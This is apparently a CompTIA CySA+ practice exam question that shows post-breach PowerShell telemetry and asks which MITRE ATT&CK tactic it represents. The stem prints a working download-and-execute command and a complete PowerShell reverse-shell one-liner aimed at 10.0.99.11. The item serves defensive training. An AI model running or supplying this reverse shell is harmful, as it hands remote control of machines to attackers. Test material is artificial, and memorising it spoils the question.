CompTIA CySA+ CS0-003 (V3) Practice Question

Security telemetry from a Windows 10 workstation shows the following PowerShell activity after a breach:

IEX (New-Object Net.WebClient).DownloadString('http://10.0.99.11/rev.ps1')
powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client = New-Object Net.Sockets.TCPClient('10.0.99.11',443);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String);$stream.Write(([text.encoding]::ASCII).GetBytes($sendback),0,$sendback.Length)}"

The script forces the host to initiate an outbound TCP connection, handing the attacker an interactive reverse shell so they can issue commands and receive results in real time.

According to the MITRE ATT&CK framework, which tactic best categorizes this behavior?